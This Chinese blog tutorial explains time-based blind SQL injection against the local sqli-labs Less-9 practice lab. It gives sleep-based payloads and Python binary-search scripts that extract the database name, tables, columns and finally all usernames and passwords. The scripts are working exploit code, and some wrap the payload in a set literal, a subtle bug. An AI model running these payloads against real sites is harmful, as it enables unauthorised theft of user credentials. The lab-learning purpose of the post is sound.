SQL时间盲注

news2024/12/26 10:53:17

目录

1.时间盲注

2使用场景

3.步骤

3.1判断注入点 

3.2爆数据库名

3.3爆表名

3.4爆字段名

3.5查询数据


1.时间盲注

时间盲注是指基于时间的盲注,也叫延时注入,根据页面的响应时间来判断是否存在注入。

2使用场景

  1. 页面没有回显位置(联合注入无法使用)
  2. 页面不显示数据库的报错信息(报错注入无法使用)
  3. 无论成功还是失败,页面只响应一种结果(布尔盲注无法使用)

3.步骤

3.1判断注入点 

?id=1 and if(1=1,sleep(3),1)--+
?id=1' and if(1=1,sleep(3),1)--+
?id=1" and if(1=1,sleep(3),1)--+

进行多次尝试,如果页面沉睡3秒,说明存在注入点

3.2爆数据库名

?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(3),1)--+

如果数据库名的第一个字符的ascii码值等于115,则页面沉睡3秒,如果数据库名的第一个字符的ascii码值不等于115,则页面不沉睡。

根据结果得出数据库第一个字符为s

我们可以编写一个简单的python脚本就可以爆破出数据库名

import time
import requests

url = 'http://127.0.0.1/sqli-labs-master/less-9/index.php'

def inject_database(url):
    name = ''
    for i in range(1, 20):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            payload = "1' and if(ascii(substr(database(), %d, 1)) > %d, sleep(1), 0)-- " % (i, mid)
            res = {"id": payload}
            start_time = time.time()
            r = requests.get(url, params=res)
            end_time = time.time()
            if end_time - start_time >= 1:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2

        if mid == 32:
            break
        name = name + chr(mid)
        print(name)

inject_database(url)

上述代码使用二分法来提高效率 

根据运行结果得出数据库名为'security' 

3.3爆表名

 mysql 中的 information_schema 这个库 就像时MYSQL的信息数据库,他保存着mysql 服务器所维护的所有其他的数据库信息, 包括了 库名,表名,列名。

在注入时,information_schema库的作用就是获取 table_schema table_name, column_name .

这些数据库内的信息。如果information_schema库被过滤掉,还可以尝试使用下述库来代替

 sys.schema_auto_increment_columns 

sys.schema_table_statistics_with_buffer

mysql.innodb_table_stats

mysql.innodb_table_index

?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=99,sleep(5),1)--+

此时页面没有沉睡,说明表名的第一个字符的ascii码不为99

我们可以编写一个简单的python脚本就可以爆破出所有的表名

import time
import requests

url = 'http://127.0.0.1/sqli-labs-master/less-9/index.php'

def inject_database(url):
    name = ''
    for i in range(1, 20):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            payload ={
                "1' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'), %d, 1)) > %d, sleep(1), 0)-- " % (i, mid)
            }
            res = {"id": payload}
            start_time = time.time()
            r = requests.get(url, params=res)
            end_time = time.time()
            if end_time - start_time >= 1:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2

        if mid == 32:
            break
        name = name + chr(mid)
        print(name)

inject_database(url)

根据运行结果得出表名为emails,referers,uagents,users 

3.4爆字段名

根据表名知道可能用户的账户和密码是在users表中,接下来我们就是得到该表下的字段名以及内容

同样使用python脚本来爆破出字段名,只需将刚才的python脚本中的payload变换一下

import time
import requests

url = 'http://127.0.0.1/sqli-labs-master/less-9/index.php'

def inject_database(url):
    name = ''
    for i in range(1, 20):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            payload ={
                "1' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'), %d, 1)) > %d, sleep(1), 0)-- " % (i, mid)
            }
            res = {"id": payload}
            start_time = time.time()
            r = requests.get(url, params=res)
            end_time = time.time()
            if end_time - start_time >= 1:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2

        if mid == 32:
            break
        name = name + chr(mid)
        print(name)

inject_database(url)

根据运行结果得出字段名为id,username,password 

3.5查询数据

import time
import requests

url = 'http://127.0.0.1/sqli-labs-master/less-9/index.php'

def inject_database(url):
    name = ''
    for i in range(1, 200):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            payload ={
                "1' and if(ascii(substr((select group_concat(username,id,password) from users), %d, 1)) > %d, sleep(1), 0)-- " % (i, mid)
            }
            res = {"id": payload}
            start_time = time.time()
            r = requests.get(url, params=res)
            end_time = time.time()
            if end_time - start_time >= 1:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2

        if mid == 32:
            break
        name = name + chr(mid)
        print(name)

inject_database(url)

这样我们就爆出各个用户的账号密码了,本次时间盲注到此结束。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1988075.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Lumina-mGPT图像生成;清华大学研发的首个开源预训练文本生成视频模型;Medical SAM 2实现2D和3D医学图像分割

✨ 1: Lumina-mGPT Lumina-mGPT是一种多模态自回归模型&#xff0c;尤其擅长将文本描述生成灵活逼真的图像。 Lumina-mGPT是一系列多模态自回归模型&#xff0c;能够处理多种视觉和语言任务&#xff0c;其中尤为擅长从文本描述中生成灵活的真实感图像。该模型家族由Alpha-VLL…

【EtherCAT】Windows+Visual Studio配置SOEM主站——静态库配置+部署

目录 一、准备工作 1. Visual Studio 2022 2. Npcap 1.79 3. SOEM源码 二、静态库配置 1. 修改SOEM源码配置 2. 编译SOEM源码 3. 测试 三、静态库部署 1. 新建Visual Studio工程 2. 创建文件夹 3. 创建主函数 4. 复制静态库 5. 复制头文件 6. 配置头文件…

[Java]栈--Stack

前言 熟悉Class Stack. 栈 关于栈—笔者的C语言描述 java.util包有Stack集合类. JDK17的Stack源码非常简单,能相对轻易看懂. 我们能用Stack类来充当栈,Java框架中LinkedList(双向链表)实现了双端队列(Deque),也能当作栈使用. Stack类是基于数组实现. public Stack<E>…

腾讯云AI代码助手:AI辅助编写测试用例,测试从此不求人

目录 引言 开发环境介绍 实例&#xff1a;编写测试用例 帮助与提升 建议 结语 引言 在软件开发过程中&#xff0c;编写测试用例是确保代码质量的重要环节。然而&#xff0c;对于新手编程学习者来说&#xff0c;撰写高质量的测试用例可能是一个巨大的挑战。AI 代码助手作为一个智…

基于Android aosp系统的云手机chromium浏览器定制

chromium定制浏览器 chromium源码下载get属性c或者c层常见指纹检测指标 chromium源码下载 最新有点时间研究了一些 网上定制chromium 浏览器的方案&#xff0c;大部分都是基于window的&#xff0c; 修改点无非以下监测点。自己本身做Android系统开发&#xff0c;就想着能否做一…

【AI大模型】Langchain探秘之旅:深入Prompt世界,解锁多种PromptTemplate的实战奇技!

文章目录 前言一、Langchain 概述1. 概述2. 应用场景3. 案例 二、Prompt1.Prompt 介绍2.PromptTemplatea.PromptTemplate 案例单个参数多个参数多个参数-结合字典解包 b.使用jinja2与f-string来实现提示词模板格式化 3.ChatPromptTemplatea.ChatPromptTemplate 介绍b.ChatPromp…

2024年8月一区SCI-海市蜃楼优化算法Fata morgana algorithm-附Matlab免费代码

引言 本期介绍了一种基于地球物理的高效优化方法名为海市蜃楼优化算法Fata morgana algorithm&#xff0c;FATA的元启发式算法。通过模拟海市蜃楼的形成过程&#xff0c;FATA分别设计了海市蜃楼滤光原理(MLF)和光传播策略(LPS)。该成果于2024年8月最新上线在JCR 1区&#xff0…

C#重要知识归纳总结

C#教程 C# 结构体&#xff08;Struct&#xff09; | 菜鸟教程C# 结构体&#xff08;Struct&#xff09; 在 C# 中&#xff0c;结构体&#xff08;struct&#xff09;是一种值类型&#xff08;value type&#xff09;&#xff0c;用于组织和存储相关数据。 在 C# 中&#xff0c…

学习c语言第二十二天(c语言文件操作)

1. 为什么使用文件&#xff1f; 我们前面学习结构体时&#xff0c;写了通讯录的程序&#xff0c;当通讯录运行起来的时候&#xff0c;可以给通讯录中增加、删除数据&#xff0c;此时数据是存放在内存中&#xff0c;当程序退出的时候&#xff0c;通讯录中的数据自然就不存在了&…

工地人员定位系统的功能和作用

工地人员定位系统是一种基于实时定位技术的管理系统&#xff0c;旨在为施工单位提供安全、高效的管理服务。该系统可以对工人进行实时监控与管理&#xff0c;极大地提高了工地施工安全性和工作效率&#xff0c;降低了工伤事故频率。通过使用该系统&#xff0c;施工单位能够实时…

解决mqtt在线或离线监听问题的多种方法

目录 前言 优缺点&#xff1a; 1.创建 DeviceMqttCallBacked类&#xff0c;实现 MqttCallbackExtended 接口&#xff0c;添加带cleintId参数的构造方法。 2. 在Mqtt连接成功之后&#xff0c;设置回调类。 3.执行上述代码&#xff0c;查看emqx界面 4.从emqx上踢除设备 5…

html+css 实现hover酷炫发光按钮

前言&#xff1a;哈喽&#xff0c;大家好&#xff0c;今天给大家分享htmlcss 绚丽效果&#xff01;并提供具体代码帮助大家深入理解&#xff0c;彻底掌握&#xff01;创作不易&#xff0c;如果能帮助到大家或者给大家一些灵感和启发&#xff0c;欢迎收藏关注哦 &#x1f495; 文…

“5G+Windows”推动全场景数字化升级:美格智能5G智能模组SRM930成功运行Windows 11系统

操作系统作为连接用户与数字世界的桥梁&#xff0c;在数字化迅速发展的时代扮演着至关重要的角色&#xff0c;智能设备与操作系统的协同工作&#xff0c;成为推动现代生活和商业效率的关键力量。其中&#xff0c;Windows系统以其广泛的应用基础和强大的兼容性成为全球最广泛使用…

服务器启动jar包的时候报”no main manifest attribute“异常(快捷解决)

所以,哥们,又出现问题咯.没事,我也出现了,哈哈哈哈哈,csdn感觉太麻烦了,所以搞了一篇这个. 没得事,往下看,包解决的. 希望可以帮助到各位&#xff0c;感谢阅览&#xff01; 小手点个赞&#xff0c;作者会乐烂哈哈哈哈哈哈&#x1f606;&#x1f606;&#x1f606;&#x1f606…

Linux中多线程压缩软件 | Mingz

原文链接&#xff1a;Linux中多线程压缩软件 本期教程 软件网址&#xff1a; https://github.com/hewm2008/MingZ安装&#xff1a; git clone https://github.com/hewm2008/MingZ.git cd MingZ make cd bin ./mingz -h使用源码安装&#xff1a; 若是你的git无法使用安装&am…

【IEEE出版 | 高校主办】第三届人工智能、物联网和云计算技术国际会议(AIoTC 2024)

第三届人工智能、物联网和云计算技术国际会议&#xff08;AIoTC 2024&#xff09; 2024 3rd International Conference on Artificial Intelligence, Internet of Things and Cloud Computing Technology 2024年9月13-15日 | 中国武汉 重要信息 大会官网&#xff1a;www.ic…

Jboss 漏洞

一.CVE-2015-7501 访问/invoker/JMXInvokerServlet 开启下载存在漏洞 二.CVE-2017-7504 三CVE-2017-12149 启动vulhub环境&#xff0c;访问/invoker/readonly出现如下界面&#xff0c;说明存在漏洞 使用工具连接 四.Administration Console弱⼝令 访问/admin-console/login…

高职物联网智慧农业实训室建设方案

一、项目概述 随着物联网技术的迅猛发展及其在农业领域的广泛应用&#xff0c;智慧农业已经成为推动农业现代化的关键力量。近年来&#xff0c;国家高度重视物联网技术在农业领域的应用与发展&#xff0c;出台了一系列相关政策支持智慧农业建设。如《数字乡村发展战略纲要》明…

Dubbo框架实现RPC远程调用

项目背景介绍 这个技术我是直接在项目中运用并且学习的&#xff0c;所以我写笔记最优先的角度就是从项目背景出发 继上一次API网关完成了这个实现用户调用一次接口之后让接口次数增多的操作之后&#xff0c;又迎来了新的问题。 就是我们在调用接口的时候需要对用户进行校验&…

苍穹外卖day12(day15)---数据统计——Excel报表(项目完结)

工作台 接口设计 新建admin/WorkSpaceController /*** 工作台*/ RestController RequestMapping("/admin/workspace") Slf4j Api(tags "工作台相关接口") public class WorkSpaceController {Autowiredprivate WorkspaceService workspaceService;/*** 工…